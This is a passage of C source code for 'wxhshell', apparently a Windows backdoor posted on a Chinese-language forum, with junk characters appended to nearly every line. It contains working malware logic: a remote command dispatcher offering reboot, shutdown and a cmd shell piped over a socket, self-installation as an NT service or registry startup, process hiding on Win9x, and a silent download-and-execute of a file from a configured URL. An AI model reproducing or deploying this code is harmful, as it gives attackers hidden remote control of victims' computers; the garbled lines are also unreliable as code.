    switch(cmd[0]) { {M**a  
  )]P(!hW.  
  // 帮助 j*.;6}\o  
  case '?': {  i;O_B5 d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `\UY5n72  
    break; =%W:N|k  
  } aw*]b.f  
  // 安装 :r*hY$v  
  case 'i': { 4#IT" i  
    if(Install()) mUg :<.^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A*OqUq/H`;  
    else m4/qxm"Dx:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $lxpwO  
    break; aKj|gwo!  
    } >$D!mraih  
  // 卸载 `DYhGk  
  case 'r': { U`(=iyWP=  
    if(Uninstall()) b?}mQ!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zH]oAu=H  
    else nm5DNpHk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IhNX~Jg'^  
    break; KuP#i]Na  
    } +?*;#=q  
  // 显示 wxhshell 所在路径 .y s_'F-]0  
  case 'p': { ^C'S-2nGH  
    char svExeFile[MAX_PATH]; n#">k%bD  
    strcpy(svExeFile,"\n\r");  LSC[S:  
      strcat(svExeFile,ExeFile); [D~]  
        send(wsh,svExeFile,strlen(svExeFile),0); s;vt2>;q+e  
    break; ;^ME  
    } jYVs\h6  
  // 重启 V}s/knd  
  case 'b': { lx+;<la  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6&$.E! z  
    if(Boot(REBOOT)) H\>{<`sD;f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jw]!x1rF~  
    else { "KIY+7@S}  
    closesocket(wsh); h?xgOb!4  
    ExitThread(0); !)]/?&uo  
    } rCw 4a?YS  
    break; G=cRdiy`C  
    } pq) =  
  // 关机 3;v)f":[  
  case 'd': { (7g"ppf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /GgID!8  
    if(Boot(SHUTDOWN)) + +L7*1t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ *t\=4  
    else { b=EI?XwJ  
    closesocket(wsh); Y(Qb)>K  
    ExitThread(0); *HD(\;i-$  
    } ?g ,s<{  
    break; Z|_V ;*  
    } GKoYT{6  
  // 获取shell  qra XAQ  
  case 's': { p(RF   
    CmdShell(wsh); >>{):r Z  
    closesocket(wsh); 8ae`V!5  
    ExitThread(0); ]H/,Q6Q  
    break; |m-N5$\IC  
  } 5ngs1ZF@  
  // 退出 ] 0R*F30]  
  case 'x': { i*|HN"!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nFlN{_/  
    CloseIt(wsh); Qf_N,Bq{a  
    break; 25OQY.>bE  
    } `<tRfl}qs  
  // 离开 +'m9b7+v  
  case 'q': { /H<{p$Wd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cj>HMB}  
    closesocket(wsh); o+|>D&CW%  
    WSACleanup(); uf?;;wg  
    exit(1); Hdyl]q-(P  
    break; (3N/DY1/  
        } ~m fG Yk"  
  } ,[ 2N3iH  
  } $'\kK,=  
{m U%.5  
  // 提示信息 [7><^?t V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uYebRCdR  
} QuS=^,]  
  } )L&y@dy)  
pBAAwHD  
  return; ?Q_ @@)  
} wbWC &X.  
vL_yM  
// shell模块句柄 o+x%q<e;c  
int CmdShell(SOCKET sock) ;I5P<7VW  
{ .J-k^+-  
STARTUPINFO si; F(1E@xs  
ZeroMemory(&si,sizeof(si)); #eYYu2ND  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vs8[352  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;^:8F  
PROCESS_INFORMATION ProcessInfo; MZ%J ]Nd  
char cmdline[]="cmd"; iJOoO"Ai  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  2l,>x  
  return 0; QV."ZhL5=  
} nO yG7:  
h HHR]e5:  
// 自身启动模式 RV@B[:  
int StartFromService(void) ?n<F?~  
{ O=}w1]  
typedef struct !9gpuS[  
{ ->qRGUW  
  DWORD ExitStatus; eLT3b6'"?  
  DWORD PebBaseAddress; =9,mt K~  
  DWORD AffinityMask; YAR$6&  
  DWORD BasePriority; dZ" }wKbO  
  ULONG UniqueProcessId; ~98q1HgS]D  
  ULONG InheritedFromUniqueProcessId; >W+,(kAS  
}   PROCESS_BASIC_INFORMATION; $Ud9v4  
!_Y%+Rkp0  
PROCNTQSIP NtQueryInformationProcess; >CG;df<~  
1<h@ ^s;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G l/3*J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k4&adX@Y  
7/&taw%i  
  HANDLE             hProcess; fBTNI`#  
  PROCESS_BASIC_INFORMATION pbi; 6!)hl"  
0F uj-q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Ud.t =2  
  if(NULL == hInst ) return 0; oTk\r$4eb  
Lm$KR!z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $lB!Q8a$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D7R;IA-w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GQ Flt_  
CWZv/>,%  
  if (!NtQueryInformationProcess) return 0; s4 , `  
DFfh!KKR$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QBmARQ  
  if(!hProcess) return 0; |1kA6/  
;U0w<>4L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M+-odLltw  
|@rf#,hTDp  
  CloseHandle(hProcess); G{pF! q  
!*^+7M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <F}j;mX  
if(hProcess==NULL) return 0; \Ogs]4   
Yk{4 3yw  
HMODULE hMod; ?/3{gOgI$`  
char procName[255]; cgcU2N6y;  
unsigned long cbNeeded; (eT9N_W  
1h]nE/T.O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m{*_%tjN0  
% T$!I(L&  
  CloseHandle(hProcess); 5[6{o$I  
Ayw {I#"  
if(strstr(procName,"services")) return 1; // 以服务启动 4d`f?8vS  
 (=%0x"'  
  return 0; // 注册表启动 aB&a#^5CI  
} rJ4A9d3:  
nFwg pT  
// 主模块 o|KmKC n>  
int StartWxhshell(LPSTR lpCmdLine) 0CeBU(U+|R  
{ &x.5TDB>%  
  SOCKET wsl; P`CQ)o  
BOOL val=TRUE; Ta8lc %0w3  
  int port=0; y7b>>|C  
  struct sockaddr_in door; LK|rLoia:  
IjPt JwW`A  
  if(wscfg.ws_autoins) Install(); %B>>J%  
jTsQsHq   
port=atoi(lpCmdLine); Zh:@A Fz:R  
UWgPQ%}  
if(port<=0) port=wscfg.ws_port; 0d,&)  
!&G& ~*.x  
  WSADATA data; p1s& y0:d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E zU=q E  
!J }Q%i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G7#<Jo<8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qaBL  
  door.sin_family = AF_INET; T ^`R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Coe%R(x5  
  door.sin_port = htons(port); F PAj}as  
O3L:v{Kn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :N=S nyz  
closesocket(wsl); a [BIY&/Q  
return 1; # i|pi'I j  
} >s%m\"|oh  
dJ,,yA*  
  if(listen(wsl,2) == INVALID_SOCKET) { sc# q03  
closesocket(wsl); KupQtT<  
return 1; /n1H; ~f]  
} hRktvO)K  
  Wxhshell(wsl); D14i]  
  WSACleanup(); m@` NN  
Z-'xJq  
return 0; V%w]HIhq  
/80RO:'7  
} ,6T3:qkkvF  
lT- LOu|  
// 以NT服务方式启动 7,D6RP(b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I#:4H2H6  
{ 5uvFCY./c  
DWORD   status = 0; 5l /EZ\q  
  DWORD   specificError = 0xfffffff; _Dg|Iz,Uh  
a.G;s2>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0bI} s`sr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /c52w"WW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mT#ebeBaf  
  serviceStatus.dwWin32ExitCode     = 0; :J;*]o:  
  serviceStatus.dwServiceSpecificExitCode = 0; 8s<t* pI2  
  serviceStatus.dwCheckPoint       = 0; y/6%'56uF  
  serviceStatus.dwWaitHint       = 0;  :)Z.!  
(Q][d+} /  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &6#Ft]6~  
  if (hServiceStatusHandle==0) return; fpPHw)dTd  
]=T-C v=t  
status = GetLastError(); {);<2]o| 6  
  if (status!=NO_ERROR) kmF@u@5M  
{ QMWDII&t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l]__!X  
    serviceStatus.dwCheckPoint       = 0; LHgEb9\Q  
    serviceStatus.dwWaitHint       = 0; ~{gV`nm=J  
    serviceStatus.dwWin32ExitCode     = status; )2y# cM*  
    serviceStatus.dwServiceSpecificExitCode = specificError; v?qU/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )_Wo6l)i  
    return; L{AfrgN  
  } t73" d#+  
_|vY)4B 4U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -jQM h  
  serviceStatus.dwCheckPoint       = 0; 2<8JY4]!]  
  serviceStatus.dwWaitHint       = 0; ^+'\ u;\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o[E|xw  
} Jde@T h  
DE_ <LN  
// 处理NT服务事件,比如:启动、停止 kF29~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7c aV-8:  
{ !1cVg ls|  
switch(fdwControl) Dt\rMSjZ9  
{ a\?-uJ+  
case SERVICE_CONTROL_STOP: ! 4{T<s;q  
  serviceStatus.dwWin32ExitCode = 0; rq_0"A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !f!HVna  
  serviceStatus.dwCheckPoint   = 0; Bi$nYV)-l  
  serviceStatus.dwWaitHint     = 0; ,"EgYd8-'  
  { ?0k4l8R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T?V!%AqY:  
  } hqVxvS"  
  return; m6^n8%  
case SERVICE_CONTROL_PAUSE: 19.oW49Sw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; urA kV#d#  
  break; q}0xQjpo  
case SERVICE_CONTROL_CONTINUE: (,!G$~Sy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p`2w\P3;)  
  break; ~Ddlr9Ej  
case SERVICE_CONTROL_INTERROGATE: ]'!$T72  
  break; 1xzOD@=dI  
}; c#YW>(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h k.Zn.6A'  
} 40)Ti  
akB+4?+s)  
// 标准应用程序主函数 ;>Q.r{P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A4`3yy{0-  
{ ;;? Zd  
4%9 +="  
// 获取操作系统版本 D*o5fPvFO  
OsIsNt=GetOsVer(); L>.* ^]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .T|1l$Jn  
QkU6eE<M*  
  // 从命令行安装 +(l(|lQy$  
  if(strpbrk(lpCmdLine,"iI")) Install(); QdtGFY4f,  
$>=?'wr  
  // 下载执行文件 0JS#{EDh+  
if(wscfg.ws_downexe) { =LHz[dSL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E\lel4ai  
  WinExec(wscfg.ws_filenam,SW_HIDE); PG*:3![2  
} Lx#CFrLQ*  
n 0rAOkW  
if(!OsIsNt) { ^a{cK  
// 如果时win9x,隐藏进程并且设置为注册表启动 C^8n;i9  
HideProc(); LL"c 9jb4z  
StartWxhshell(lpCmdLine); q@0g KC&U  
} R-lpsvDDL2  
else u/>+cT6}  
  if(StartFromService()) 3L1MMUACL  
  // 以服务方式启动 "s.]amC  
  StartServiceCtrlDispatcher(DispatchTable); K 0Gm ?(  
else xq-TT2}<L  
  // 普通方式启动 9XEP:}5,  
  StartWxhshell(lpCmdLine); 5vo5t0^o  
+\/1V`  
return 0; -gK*&n~  
}
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只看该作者 1 发表于: 2006-10-10
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